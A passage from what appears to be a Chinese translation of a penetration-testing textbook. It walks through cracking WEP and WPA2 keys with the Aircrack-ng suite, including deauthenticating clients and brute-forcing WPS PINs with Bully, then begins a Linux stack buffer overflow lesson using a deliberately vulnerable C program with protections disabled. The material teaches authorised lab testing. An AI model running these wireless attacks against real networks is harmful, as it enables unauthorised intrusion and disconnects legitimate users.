-1 告诉 Aireplay-ng 伪造认证。
0 是重新传输时间。
-e 是 SSID；在我的例子中是 linksys。
-a 是我们想要认证的接入点的 MAC 地址。
-h 是我们卡片的 MAC 地址（应该在设备上的标签上）。
mon0 是用于伪造认证的接口。

发送 Aireplay-ng 请求后，你应该会收到一个笑脸和认证成功的提示 ❶。

使用 ARP 请求转发攻击生成 IVs

当基站愿意接收我们的数据包时，我们可以捕获并重新广播合法的数据包。虽然接入点在没有首先发送 WEP 密钥进行认证的情况下不会允许我们发送流量，但我们可以重新广播来自正确认证客户端的流量。

我们将使用被称为 ARP 请求重放 的攻击技术，通过让 Aireplay-ng 监听 ARP 请求，然后将其重新广播回基站，以快速生成 IV。（当接入点收到 ARP 请求时，它会用新的 IV 重新广播该请求。）Aireplay-ng 会反复重新广播相同的 ARP 数据包，每次广播时都会生成一个新的 IV。

示例 15-9 展示了该攻击的实际操作。Aireplay-ng 会读取数据包，查找 ARP 请求。直到 Aireplay-ng 看到它可以重新广播的 ARP 请求之前，你不会看到任何数据。我们接下来会看到这一点。

示例 15-9. 使用 Aireplay-ng 重新广播 ARP 数据包

root@kali:~# aireplay-ng -3 -b 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:14:21  Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
Saving ARP requests in replay_arp-1142-201521.cap
You should also start airodump-ng to capture replies.
Read 541 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

我们使用以下选项：

-3 执行 ARP 请求重放攻击。
-b 是基站的 MAC 地址。
-h 是我们的 Alfa 卡的 MAC 地址。
mon0 是接口。

生成 ARP 请求

不幸的是，正如你在示例 15-9 中看到的，我们没有看到任何 ARP 请求。为了生成 ARP 请求，我们将通过从连接的主机系统 ping 网络上的一个 IP 地址，使用主机系统作为模拟客户端。Aireplay-ng 会看到 ARP 请求并反复将其转发到接入点。

如你在 Airodump-ng 屏幕中看到的，示例 15-10 所示，#Data ❶ 数字（表示捕获的 IV 数量）会迅速增加，因为 Aireplay-ng 会不断重新传输 ARP 数据包，导致接入点生成更多的 IV。（如果你的 aireplay-ng -3 显示 "Got adeauth/disassoc" 或类似信息，并且 #Data 数字没有快速上升，请再次运行示例 15-8 中的虚假关联命令，以重新关联接入点。你的 #Data 字段应再次开始快速上升。）

示例 15-10. IV 正在 Airodump-ng 中被捕获

CH  6 ][ Elapsed: 14 mins ] 2015-11-22 20:31

BSSID               PWR  RXQ  Beacons    #Data, #/s    CH   MB   ENC    CIPHER AUTH ESSID

00:23:69:F5:B4:2B   -63   92     5740    85143❶ 389     6   54 . WEP    WEP   OPN  linksys

破解密钥

记住，我们需要大约 250,000 个 IV 来破解 64 位 WEP 密钥。只要你保持与基站的关联，如 [示例 15-8 中所示，（如果有必要，重新运行命令）并且已经在网络上生成了 ARP 请求，收集足够的 IV 应该只需要几分钟。一旦我们收集到足够的 IV，就可以使用 Aircrack-ng 进行计算，将收集到的 IV 转换为正确的 WEP 密钥。示例 15-11 展示了我们如何通过使用 -b 标志，并提供在 Airodump-ng 中使用的文件名，再加上 *.cap ❶ 来破解密钥。这告诉 Aircrack-ng 从 Airodump-ng 保存的所有 .cap 文件中读取数据。

示例 15-11. 使用 Aircrack-ng 恢复 WEP 密钥

root@kali:~# aircrack-ng -b 00:23:69:F5:B4:2B book*.cap❶
Opening book-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 239400 ivs.
KEY FOUND! [ 2C:85:8B:B6:31 ] ❷
Decrypted correctly: 100%

几秒钟的分析后，Aircrack-ng 返回正确的密钥 ❷。我们现在可以通过网络进行身份验证。如果这是渗透测试客户的网络，我们现在可以直接攻击网络上的任何系统。

WEP 破解的挑战

正如本书中讨论的许多话题一样，无线攻击的信息量足以填满一本书，而我这里只展示了一种攻击方法。在攻击 WEP 时需要牢记的一点是，客户端可能会使用过滤器来阻止类似的攻击。例如，接入点可能会使用 MAC 过滤功能，只允许特定 MAC 地址的无线网卡连接，如果你的 Alfa 卡不在列表中，你的假认证尝试将会失败。为了绕过 MAC 过滤，你可以使用 Kali 中的 MAC Changer 工具来伪造一个 MAC 地址并创建一个被接受的值。请记住，只要我们能够收集足够的数据包，WEP 密钥总是可以被破解的，出于安全原因，不应在生产环境中使用 WEP 加密。

值得注意的是，Kali Linux 中默认安装的 Wifite 工具实际上是 Aircrack-ng 套件的一个封装，它会自动化攻击无线网络的过程，包括破解 WEP。但在你学习 Wi-Fi 攻击的原理时，最好是逐步完成整个过程，而不是使用自动化封装工具。

现在，我们将注意力转向更强大的无线加密协议 WPA 和 WPA2。

Wi-Fi 保护访问

随着 WEP 弱点的暴露，迫切需要一个更强大的无线安全系统，于是一个新的系统（最终成为 WPA2）应运而生，取代了 WEP。然而，构建一个安全的无线加密系统花费了时间，在此期间，仍然需要一个与已部署的无线硬件兼容的额外安全措施。因此，Wi-Fi 保护访问 (WPA)，也被称为 临时密钥完整性协议 (TKIP)，应运而生。

WPA 使用与 WEP 相同的基础算法（RC4），但通过向 IVs 添加密钥流随机性并向 ICV 添加完整性来解决 WEP 的弱点。与 WEP 使用 40 或 104 位密钥并为每个数据包使用弱 IV 不同，WPA 为每个数据包生成 148 位密钥，以确保每个数据包都使用唯一的密钥流进行加密。

此外，WPA 用消息认证码（MAC）算法 Michael 替代了 WEP 的弱 CRC-32 消息完整性检查，防止攻击者轻易计算出当位被翻转时 ICV 产生的变化。尽管 WPA 和 WPA2 都存在一些弱点，但最常见的漏洞（我们将在本章稍后利用）是使用弱密码短语。

WPA2

WPA2 从零开始构建，旨在为无线网络提供一个安全的加密系统。它实现了一种专为无线安全设计的加密协议，称为 计数模式与密码块链消息认证码协议 (CCMP)。CCMP 基于高级加密标准 (AES)。

WPA 和 WPA2 支持个人和企业两种设置。WPA/WPA2 个人版使用预共享密钥，类似于 WEP。WPA/WPA2 企业版则增加了一个名为 远程认证拨号用户服务 (RADIUS) 服务器 的额外元素，用于管理客户端身份验证。

企业连接过程

在 WPA/WPA2 企业网络中，客户端连接过程包括四个步骤，如图 15-6 所示。首先，客户端和接入点达成一致，支持相同的安全协议。然后，根据选择的认证协议，接入点和 RADIUS 服务器交换消息以生成主密钥。一旦主密钥生成后，会向接入点发送认证成功的消息，并传递给客户端，同时主密钥也会发送到接入点。接入点和客户端通过四次握手交换并验证密钥，以进行相互认证、消息加密和消息完整性验证，如在四次握手中所讨论的那样。密钥交换后，客户端和接入点之间的流量将通过 WPA 或 WPA2 进行安全保护。

图 15-6. WPA/WPA2 企业连接

个人连接过程

WPA/WPA2 个人连接过程比企业连接过程稍微简单一些：不需要 RADIUS 服务器，整个过程仅在接入点和客户端之间进行。不需要认证或主密钥步骤，取而代之的是，WPA/WPA2 个人使用的是预共享密钥，这些密钥是通过预共享密码生成的。

当你连接到安全网络时，WPA/WPA2 个人密码短语是静态的，而企业设置使用的是由 RADIUS 服务器生成的动态密钥。企业设置更安全，但大多数个人网络甚至大多数小型企业都没有 RADIUS 服务器。

四次握手

在接入点和客户端（申请者）之间的连接的第一阶段，会创建一个对称的主密钥（PMK），它在整个会话期间保持静态。这个密钥不是用于加密的密钥，而是用于第二阶段，在这个阶段，接入点和客户端之间会进行四次握手，目的是建立通信通道并交换用于后续数据通信的加密密钥，如图 15-7 所示。

图 15-7. WPA/WPA2 四次握手

这个 PMK 是通过以下方式生成的：

密码短语（预共享密钥，或 PSK）
接入点的 SSID
SSID 长度
哈希迭代次数（4096）
生成的共享密钥（PMK）的最终长度（256 位）

这些值被输入到一个名为 PBKDF2 的哈希算法中，生成一个 256 位的共享密钥（PMK）。虽然你的密码短语（PSK）可能是GeorgiaIsAwesome，但这不是在第二阶段使用的 PMK。也就是说，任何知道密码短语和接入点 SSID 的人都可以使用 PBKDF2 算法来生成正确的 PMK。在四次握手期间，创建了一个配对临时密钥（PTK），并用于加密接入点与客户端之间的流量；同时，交换了一个组临时密钥（GTK），用于加密广播流量。PTK 由以下内容组成：

共享密钥（PMK）
来自接入点的一个随机数（ANonce）
客户端的一个随机数（SNonce）
客户端的 MAC 地址
接入点的 MAC 地址

这些值被输入到 PBKDF2 哈希算法中，以创建 PTK。

为了生成 PTK，接入点和客户端交换 MAC 地址和随机数（随机值）。静态共享密钥（PMK）永远不会通过无线电发送，因为接入点和客户端都知道密码短语（PSK），因此可以独立生成共享密钥。

共享的随机数和 MAC 地址被客户端和接入点共同使用以生成 PTK。在四次握手的第一步中，接入点发送其随机数（ANonce）。接下来，客户端选择一个随机数，生成 PTK，并将其随机数（SNonce）发送给接入点。（SNonce 中的 S 代表请求方，在无线网络设置中也就是客户端的另一个名字。）

除了发送随机数外，客户端还发送一个消息完整性码（MIC），以防止伪造攻击。为了计算正确的 MIC，生成预共享密钥的密码短语必须正确，否则 PTK 会出错。接入点基于客户端发送的 SNonce 和 MAC 地址独立生成 PTK，然后检查客户端发送的 MIC。如果正确，客户端就已成功认证，接入点会将 GTK 和 MIC 一起发送给客户端。

在握手的第四部分，客户端确认 GTK。

破解 WPA/WPA2 密钥

与 WEP 不同，WPA 和 WPA2 中使用的加密算法足够强大，可以防止攻击者仅通过捕获足够的流量并进行密码分析来恢复密钥。WPA/WPA2 个人网络的 Achilles’ heel 在于所使用的预共享密钥（密码短语）的质量。如果你在后期利用漏洞获得的 Windows 管理员密码与 WPA 或 WPA2 个人密码短语相同，或者密码短语写在公司前办公室的白板上，那就完了。

要尝试猜测一个弱密码，我们首先需要捕获四次握手以进行分析。回想一下，给定正确的密码和接入点的 SSID，可以使用 PBKDF2 哈希算法生成共享密钥（PMK）。有了 PMK，我们仍然需要接入点和客户端的 ANonce、SNonce 以及 MAC 地址来计算 PTK。当然，PTK 会因每个客户端而异，因为每次四次握手中的 nonces 是不同的，但如果我们能从任何合法客户端捕获四次握手，我们可以利用其 MAC 地址和 nonces 来计算给定密码的 PTK。例如，我们可以使用 SSID 和密码 password 来生成 PMK，然后将生成的 PMK 与捕获的 nonces 和 MAC 地址结合起来计算 PTK。如果计算出的 MIC 与捕获的握手中的 MIC 一致，我们就知道 password 是正确的密码。这个技术可以应用于一个可能的密码字典中，尝试猜测正确的密码。幸运的是，如果我们能捕获到四次握手并提供一个密码字典，我们就可以利用 Aircrack-ng 完成所有数学计算。

使用 Aircrack-ng 破解 WPA/WPA2 密钥

要使用 Aircrack-ng 破解 WPA/WPA2，首先将无线接入点设置为 WPA2 个人模式。选择一个共享密钥（密码），然后将主机系统连接到接入点，以模拟一个真实客户端。

要使用字典猜测 WPA2 共享密钥（密码），我们需要捕获四次握手。输入 airodump-ng -c 6 来选择频道，--bssid 后接基站的 MAC 地址，-w 来指定输出的文件名（使用不同于 WEP 破解示例中的文件名），以及 mon0 作为监视接口，如示例 15-12 中所示。

示例 15-12. 使用 Airodump-ng 进行 WPA2 破解

root@kali:~# airodump-ng -c 6 --bssid 00:23:69:F5:B4:2B -w pentestbook2 mon0

 CH  6 ][ Elapsed: 4 s ] 2015-05-19 16:31

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

 00:23:69:F5:B4:2B  -43 100       66      157   17   6  54 . WPA2 CCMP   PSK  l

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:23:69:F5:B4:2B  70:56:81:B2:F0:53  -33   54-54     15       168 ❶

如你所见，主机已连接 ❶。为了捕获四次握手，我们可以等待另一个无线客户端连接，或者通过将某个客户端踢出网络并迫使其重新连接来加速这一过程。

为了强制客户端重新连接，可以使用 Aireplay-ng 向已连接的客户端发送一条消息，告知它不再连接到接入点。当客户端重新认证时，我们将捕获客户端与接入点之间的四次握手。我们需要的 Aireplay-ng 选项如下：

-0 表示去认证。
1 是要发送的去认证请求的数量。
-a 00:14:6C:7E:40:80 是基站的 MAC 地址。
-c 00:0F:B5:FD:FB:C2 是要去认证的客户端的 MAC 地址。

[示例 15-13 显示了 aireplay-ng 命令和去认证请求。

示例 15-13. 向客户端发送去认证请求

root@kali:~# aireplay-ng -0 1 -a 00:23:69:F5:B4:2B -c 70:56:81:B2:F0:53 mon0
16:35:11  Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
16:35:14  Sending 64 directed DeAuth. STMAC: [70:56:81:B2:F0:53] [24|66 ACKs]

现在我们回到 Airodump-ng 窗口，如示例 15-14 所示。

示例 15-14. 在 Airodump-ng 中捕获 WPA2 握手

CH  6 ][ Elapsed: 2 mins ][ 2015-11-23 17:10 ] WPA handshake: 00:23:69:F5:B4:2B ❶

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:23:69:F5:B4:2B  -51 100      774      363   18   6  54 . WPA2 CCMP   PSK  linksys

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:23:69:F5:B4:2B  70:56:81:B2:F0:53  -29   1 - 1     47       457

如果 Airodump-ng 捕获到与客户端的四次握手，它会将其记录在捕获输出的第一行 ❶。

一旦捕获到 WPA2 握手，关闭 Airodump-ng，然后在 Wireshark 中通过文件菜单打开 .cap 文件，路径为 File4Open4filename.cap。进入 Wireshark 后，使用过滤器 eapol 协议查看构成握手的四个数据包，如[图 15-8 所示。

图 15-8. Wireshark 中的 WPA2 握手数据包

注意

有时 Aircrack-ng 会声称已经捕获到握手，但当你查看 Wireshark 中的数据包时，会发现并没有捕获到所有四个消息。如果是这种情况，请重新运行去身份验证攻击，因为你需要所有四个消息才能尝试猜测正确的密钥。

现在我们创建一个类似于第九章中使用的单词列表，确保正确的 WPA2 密钥包含在列表中。我们对 WPA2 攻击的成功取决于我们是否能够将我们密码短语的哈希值与握手中的值进行比较。

一旦我们捕获到握手数据包，就可以离线进行剩余的计算来恢复密钥；我们不再需要靠近接入点或向其发送数据包。接下来，我们使用 Aircrack-ng 来测试单词列表中的密钥，指定一个带有 -w 选项的列表，如示例 15-15 所示。否则，命令与破解 WEP 密钥时相同。如果正确的密钥在单词列表中，它将通过 Aircrack-ng 恢复。

示例 15-15. 使用 Aircrack-ng 恢复 WPA2 密钥

root@kali:~# aircrack-ng -w password.lst -b 00:23:69:F5:B4:2B pentestbook2*.cap
Opening pentestbook2-01.cap

Reading packets, please wait...

                                 Aircrack-ng 1.2 beta2

                   [00:00:00] 1 keys tested (178.09 k/s)

                       KEY FOUND! [ GeorgiaIsAwesome ] ❶

      Master Key     : 2F 8B 26 97 23 D7 06 FE 00 DB 5E 98 E3 8A C1 ED
                       9D D9 50 8E 42 EE F7 04 A0 75 C4 9B 6A 19 F5 23

      Transient Key  : 4F 0A 3B C1 1F 66 B6 DF 2F F9 99 FF 2F 05 89 5E
                       49 22 DA 71 33 A0 6B CF 2F D3 BE DB 3F E1 DB 17
                       B7 36 08 AB 9C E6 E5 15 5D 3F EA C7 69 E8 F8 22
                       80 9B EF C7 4E 60 D7 9C 37 B9 7D D3 5C A0 9E 8C

      EAPOL HMAC     : 91 97 7A CF 28 B3 09 97 68 15 69 78 E2 A5 37 54

如您所见，正确的密钥在我们的单词列表中，并且已经恢复 ❶。通过使用强密码短语（如第九章中所讨论的那样），可以防止这种针对 WPA/WPA2 的字典攻击。

Aircrack-ng 只是破解无线网络的众多工具之一。它非常适合初学者，因为在每个步骤中启动不同的工具有助于你熟悉这些攻击的工作原理。你可能遇到的其他广泛使用的 Wi-Fi 审计工具包括 Kismet 和 Wifite。

Wi-Fi 保护设置

Wi-Fi 保护设置 (WPS) 旨在让用户通过八位数字 PIN 而非潜在的长而复杂的密码短语，将设备连接到安全网络。当提供正确的 PIN 时，接入点会发送密码短语。

WPS 的问题

PIN 码的最后一位是前七位数字的校验和，因此密钥空间应为 10⁷，即 10,000,000 种可能的 PIN 码。然而，当客户端向接入点发送 PIN 时，前四位和后四位的有效性会分别报告。前四位全部有效，所以有 10,000 种可能性。后四位中，只有前三位有效（有 1000 种可能的猜测），因此暴力破解正确的 WPS PIN 最多需要 11,000 次猜测。这使得暴力破解所需的时间减少到四小时以内。解决此问题的唯一方法是禁用接入点上的 WPS。

使用 Bully 破解 WPS

Kali 提供了可以用于对 WPS 进行暴力破解的工具。其中一个工具是 Bully。我们可以使用 Bully 来暴力破解 WPS PIN 码，也可以测试特定的 PIN 码。使用 Bully 时，我们需要获取接入点的 SSID、MAC 地址和频道，这些信息在本章开始时我们通过 iwlist 获取。使用 -b 标志指定 MAC 地址，-e 标志指定 SSID，-c 标志指定频道，如下所示。

root@kali:~# bully mon0 -b 00:23:69:F5:B4:2B -e linksys -c 6

Bully 应该能在大约四小时内暴力破解 PIN 码，并恢复正确的预共享 PIN。许多无线接入点默认启用 WPS，且相比猜测强密码的 WPA/WPA2 密码，WPS 可能是更容易的突破口。

总结

无线安全常常是组织安全防护中被忽视的一部分。尽管组织投入了时间和资金来保护外围，部署最新的防火墙和入侵防御系统，但如果攻击者能够仅仅在街对面的咖啡店坐着，带着强大的天线就能加入到你的公司网络中，那一切投入都将是徒劳的。无线连接虽然可以让公司避免因员工绊倒以太网电缆而遭遇诉讼，但也带来了潜在的安全漏洞，因此应定期进行审计。本章中，我们使用 Aircrack-ng 通过监听和注入无线网络流量来恢复 WEP 和 WPA2 个人无线密钥，并使用 Bully 来暴力破解 WPS PIN。

第四部分：漏洞开发

第十六章. Linux 中的基于栈的缓冲区溢出

到目前为止，我们已经使用了诸如 Metasploit 和互联网公开的漏洞利用代码来攻击我们的目标系统。但在渗透测试过程中，你可能会遇到没有现成漏洞利用代码的漏洞，或者你可能发现了一个新的安全问题，想为其编写自己的漏洞利用代码。在本章和接下来的三章中，我们将学习如何编写自己的漏洞利用代码。我们不会覆盖所有最新的 iPhone 越狱方法，但我们会通过一些真实世界中的易受攻击程序来学习如何手动编写有效的漏洞利用代码。

我们将从一个简单的易受攻击的程序开始，在我们的 Linux 目标上让程序做一些开发者未曾预期的事情。

注意

本章及第十六章到第十九章中的所有示例都使用 x86 架构。

内存理论

在我们开始编写自己的漏洞利用代码之前，我们需要掌握一些内存工作的基本概念。我们的目标是操作内存并诱使 CPU 代替我们执行指令。我们将使用一种称为基于栈的缓冲区溢出的技术，它涉及到在程序的内存栈上填充超出变量大小的内容，从而覆盖相邻的内存位置。但首先，我们需要了解一下程序内存的布局，如图 16-1 所示。

图 16-1. 内存可视化

text 段包含要执行的程序代码，而 data 段包含程序的全局信息。在更高的地址上，我们有一部分是栈和堆共享的，它们在运行时被分配。stack 是固定大小的，用于存储函数参数、局部变量等。heap 用于存放动态变量。随着更多的函数或子程序被调用，栈的消耗增加，并且栈顶指向较低的内存地址，因为更多的数据被存储在栈上。

我们的 Intel 处理器具有通用寄存器，用于存储未来可能使用的数据。这些寄存器包括：

EIP	指令指针
ESP	栈指针
EBP	基址指针
ESI	源索引
EDI	目标索引
EAX	累加器
EBX	基址
ECX	计数器
EDX	数据

ESP、EBP 和 EIP 对我们特别重要。ESP 和 EBP 一起跟踪当前执行函数的栈帧。

如图 16-2 所示，ESP 指向栈帧的顶部，即它的最低内存地址，而 EBP 指向栈帧底部的最高内存地址。EIP 保存着下一条将要执行的指令的内存地址。因为我们的目标是劫持执行并让目标机器执行我们想要的指令，EIP 看起来是一个理想的攻击目标。但我们如何将我们的指令送到 EIP 呢？EIP 是只读的，所以我们不能直接将一个内存地址放入这个寄存器；我们需要更加巧妙一些。

图 16-2. 栈帧

栈是一个先进后出（LIFO）的数据结构。你可以把它想象成食堂里的一堆托盘。最后放上去的托盘是第一个被取走的。要向栈中添加数据，使用PUSH指令。同样，要从栈中移除数据，我们使用POP指令。（记住，栈的消耗是向着更低的内存地址增加的，因此当数据被压入当前栈帧时，ESP 会移动到内存中的更低地址。）

当程序函数被执行时，它的信息（如局部变量）会被压入栈帧。函数执行完毕后，整个栈帧会被展开，ESP 和 EBP 会指向调用函数的栈帧，执行将继续从调用函数的上次执行位置开始。然而，CPU 必须知道从内存中的哪个位置继续执行，它通过返回地址获取这一信息，而返回地址在调用函数时会被压入栈中。

比如，假设我们正在运行一个 C 程序。通常，当程序开始时，main函数会被调用，并为其分配一个栈帧。然后，main调用另一个函数function1。在将function1的栈帧压入栈中并交出执行之前，main会记录在function1返回时需要继续执行的位置（通常是调用function1后面的一行代码），通过将这个值——它的返回地址——压入栈中。图 16-3 展示了main调用function1后的栈状态。

图 16-3. 调用function1后的栈

在function1执行完毕后，它返回，栈帧被展开，存储的返回地址被加载到 EIP 寄存器中，以恢复到main函数的执行。如果我们能够控制这个返回地址，我们就可以在function1返回时决定执行哪些指令。在下一节中，我们将通过一个简单的基于栈的缓冲区溢出示例来说明这一点。

在继续之前，请记住几点。在本书中的示例中，我们使用较旧的操作系统来规避现代 Windows 和 Linux 系统中的一些高级反利用技术。特别是，我们将利用 数据执行防护（DEP） 和 地址空间布局随机化（ASLR） 的缺乏，因为这两者都会使我们很难学习利用的基础知识。DEP 会将特定内存区域标记为不可执行，这阻止了我们在栈上填充 shellcode 并将 EIP 指向该代码以执行（正如你将在第十七章中看到的 Windows 缓冲区溢出示例）。ASLR 会随机化我们库文件在内存中的加载位置。在我们的示例中，我们将硬编码返回地址，指向我们希望在内存中跳转的位置，但在启用 ASLR 的攻击环境下，找到正确的执行跳转地址会变得更加复杂。我们将在第十九章中介绍更多高级的漏洞编写技巧，但现在我们先从栈溢出攻击的基础开始，先熟悉一下基本原理。

Linux 缓冲区溢出

现在我们已经完成了令人头疼的理论部分，接下来让我们看一个简单的缓冲区溢出漏洞在 Linux 目标系统上的实际应用示例。首先，确保目标系统已正确配置以进行基本的缓冲区溢出测试。现代操作系统都内置了防护机制来防止这些攻击，但在学习过程中，我们需要关闭这些保护。若你使用的是本书提供的 Linux 目标镜像，系统已经配置正确，但为了确保无误，请检查 randomize_va_space 是否设置为 0，如下所示。

georgia@ubuntu:~$ **sudo nano /proc/sys/kernel/randomize_va_space**

randomize_va_space，当设置为 1 或 2 时，会在我们的目标系统上启用 ASLR。默认情况下，Ubuntu 会开启随机化，但为了我们的示例需要关闭此功能。如果文件中包含值 0，那么一切就绪。如果没有，请将文件内容更改为 0 并保存。

一个易受攻击的程序

让我们编写一个简单的 C 程序，命名为 overflowtest.c，它易受基于栈的缓冲区溢出攻击，示例见示例 16-1。

注意

这个文件位于 georgia 的家目录下，存放在本书下载的 Ubuntu 目标镜像中。

示例 16-1. 易受攻击的简单 C 程序

  georgia@ubuntu:~$ **nano overflowtest.c**

  #include <string.h>
  #include <stdio.h>

❶ void overflowed() {
          printf("%s\n", "Execution Hijacked");
  }

❷ void function1(char *str){
          char buffer[5];
          strcpy(buffer, str);
  }
❸ void main(int argc, char *argv[])
  {
          function1(argv[1]);
          printf("%s\n", "Executed normally");
  }

我们的简单 C 程序并没有做太多事情。它首先包含了两个 C 库，stdio.h 和 string.h。这使得我们可以在不需要从头开始编写的情况下，使用 C 语言中的标准输入/输出和字符串构造函数。在程序中，我们将使用字符串并输出文本到控制台。

接下来，我们有三个函数：overflowed、function1 和 main。如果调用 overflowed ❶，它会将文本“执行劫持”打印到控制台，然后返回。如果调用 function1 ❷，它声明一个本地变量，一个五个字符的字符串 buffer，并将传递给 function1 的变量内容复制到 buffer 中。main ❸ 是程序启动时默认调用的函数，它调用 function1 并传递给它程序接收到的第一个命令行参数。在 function1 返回后，main 将“正常执行”打印到控制台，程序然后退出。

请注意，在正常情况下，overflowed 从未被调用，因此“执行劫持”不应出现在控制台中。（当我们溢出缓冲区并劫持程序控制时，你将了解为什么程序中会有这个函数。）

现在，我们编译程序，如此处所示。

georgia@ubuntu:~$ **gcc -g -fno-stack-protector -z execstack -o overflowtest overflowtest.c**

要编译我们上面展示的 C 代码，我们使用 GCC（GNU 编译器集合），它默认内置在 Ubuntu 中。-g 选项告诉 GCC 为 GDB（GNU 调试器）添加额外的调试信息。我们使用 -fno-stack-protector 标志关闭 GCC 的堆栈保护机制，如果启用它，它会试图防止缓冲区溢出。-z execstack 编译器选项使堆栈可执行，从而禁用另一种缓冲区溢出防护方法。我们通过 -o 选项告诉 GCC 将 overflowtest.c 编译为名为 overflowtest 的可执行文件。

回想一下，main 获取程序的第一个命令行参数并将其传递给 function1，后者将该值复制到一个五个字符的本地变量中。让我们运行程序并传递命令行参数 AAAA，如图所示。必要时，通过 chmod 使 overflowtest 可执行。我们使用四个 A 而不是五个，因为字符串以一个空字节结尾。从技术上讲，如果我们使用五个 A，我们就已经在溢出缓冲区了，尽管只是溢出一个字符。

georgia@ubuntu:~$ **./overflowtest AAAA**
Executed normally

如图所示，程序按我们预期的方式运行：main 调用 function1，function1 将 AAAA 复制到 buffer 中，function1 将执行控制权交还给 main，然后 main 在程序退出之前将“正常执行”打印到控制台。也许，如果我们给 overflowtest 输入一些意外的内容，我们可以强迫它以某种方式运行，从而帮助我们造成缓冲区溢出。

造成崩溃

现在让我们尝试给程序传递一个很长的 A 字符串作为参数，如此处所示。

georgia@ubuntu:~$ **./overflowtest AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**
Segmentation fault

这次，程序因段错误而崩溃。我们程序的问题出在 strcpy 的实现上，它在 function1 中被使用。strcpy 函数接受一个字符串并将其复制到另一个字符串中，但它没有进行任何边界检查，以确保提供的参数能够适应目标字符串变量。strcpy 函数会尝试将三、五甚至数百个字符复制到我们五字符的目标字符串中。如果我们的字符串长度为五个字符，而我们复制了 100 个字符，其他 95 个字符将覆盖栈中相邻内存地址的数据。

我们可能会覆盖掉 function1 栈帧的其余部分，甚至更高的内存。还记得在那个栈帧的基址后面的内存地址存储了什么吗？在栈帧被压入栈之前，main 将它的返回地址压入栈中，以指定 function1 返回后程序应继续执行的位置。如果我们复制到 buffer 的字符串足够长，我们将从 buffer 覆盖内存，一直覆盖到 EBP，覆盖返回地址，甚至进入 main 的栈帧。

一旦 strcpy 将 overflowtest 的第一个参数放入 buffer 中，function1 就会返回到 main。它的栈帧被从栈中弹出，CPU 尝试在返回地址的内存位置执行指令。由于我们已用一串长长的 A 字符覆盖了返回地址，如图 16-4 所示，CPU 将尝试在内存地址 41414141（四个 A 的十六进制表示）执行指令。

图 16-4. 执行 strcpy 后的内存

然而，我们的程序不能从内存中的任何位置读取、写入或执行操作，因为那样会导致彻底的混乱。内存地址 41414141 对我们的程序来说越界，因此程序会像本节开始时所见那样因段错误而崩溃。

在下一节中，我们将深入分析程序崩溃时的幕后情况。在接下来的 GDB 讨论中，你可以使用命令maintenance info sections来查看哪些内存区域被映射到进程中。

运行 GDB

我们可以通过在调试器中运行程序，精确地查看内存中发生了什么。我们的 Ubuntu 机器自带 GDB，所以让我们如图所示，打开程序并在调试器中观察，如果我们溢出五字符缓冲区，内存中会发生什么。

georgia@ubuntu:~$ **gdb overflowtest**
(gdb)

在运行程序之前，我们会设置一些断点，以便在程序的特定位置暂停执行，允许我们查看这些时刻的内存状态。因为我们使用-g标志编译了程序，所以可以直接查看源代码，如示例 16-2 所示，并可以在我们希望暂停的行设置断点。

示例 16-2. 在 GDB 中查看源代码

(gdb) **list 1,16**
1     #include <string.h>
2     #include <stdio.h>
3
4     void overflowed() {
5          printf("%s\n", "Execution Hijacked");
6     }
7
8     void function(char *str){
9          char buffer[5];
10          strcpy(buffer, str); ❶
11      } ❷
12     void main(int argc, char *argv[])
13    {
14        function(argv[1]); ❸
15        printf("%s\n", "Executed normally");
16     }
(gdb)

首先，让我们在main调用function1之前的❸处暂停程序，紧接着在指令执行之前。我们还将在function1内部设置两个断点，一个在strcpy执行之前的❶处，另一个在strcpy执行之后的❷处。

在示例 16-3 中展示了如何在 GDB 中设置断点。使用 GDB 命令break，在第 14 行、第 10 行和第 11 行设置断点。

示例 16-3. 在 GDB 中设置断点

(gdb) **break 14**
Breakpoint 1 at 0x8048433: file overflowtest.c, line 14.
(gdb) **break 10**
Breakpoint 2 at 0x804840e: file overflowtest.c, line 10.
(gdb) **break 11**
Breakpoint 3 at 0x8048420: file overflowtest.c, line 11.
(gdb)

在我们溢出buffer并导致程序崩溃之前，让我们先使用四个A字符运行程序，如下所示，并观察程序正常执行时的内存情况。

(gdb) **run AAAA**
Starting program: /home/georgia/overflowtest AAAA
Breakpoint 1, main (argc=2, argv=0xbffff5e4) at overflowtest.c:14
14        function(argv[1]);

我们使用 GDB 命令run，后跟参数，来启动调试器中的程序。在这里，我们用四个A字符作为参数运行程序。程序在调用function1之前停在第一个断点处，这时我们可以使用 GDB 命令x检查程序的内存。

GDB 需要知道我们希望查看内存的哪一部分，以及如何显示它。内存内容可以以八进制、十六进制、十进制或二进制格式显示。在我们的漏洞开发旅程中，会看到大量的十六进制格式数据，因此我们使用x标志告诉 GDB 以十六进制格式显示内存。

我们还可以按字节、二字节半字、四字节字和八字节巨型数据的增量输出内存。让我们查看从 ESP 寄存器开始的 16 个十六进制格式的字，使用命令x/16xw $esp，如示例 16-4 所示。

示例 16-4. 查看内存内容

(gdb) **x/16xw $esp**
0xbffff540:    0xb7ff0f50    0xbffff560    0xbffff5b8    0xb7e8c685
0xbffff550:    0x08048470    0x08048340    0xbffff5b8    0xb7e8c685
0xbffff560:    0x00000002    0xbffff5e4    0xbffff5f0    0xb7fe2b38
0xbffff570:    0x00000001    0x00000001    0x00000000    0x08048249

x/16xw $esp命令会以十六进制格式打印出从 ESP 开始的 16 个四字节字。回想一下本章之前提到的内容，ESP 标记了栈中最低的内存地址。由于我们在调用function1之前就已触发了第一个断点，因此此时 ESP 位于main的栈帧顶部。

在 GDB 中查看内存的输出，如示例 16-4 所示，可能一开始会有些混乱，所以让我们分解一下。最左边是以 16 字节为增量的内存地址，接着是这些地址处的内存内容。在本例中，前四个字节将是 ESP 的内容，接着是从 ESP 开始并继续向下栈展开的额外内存。

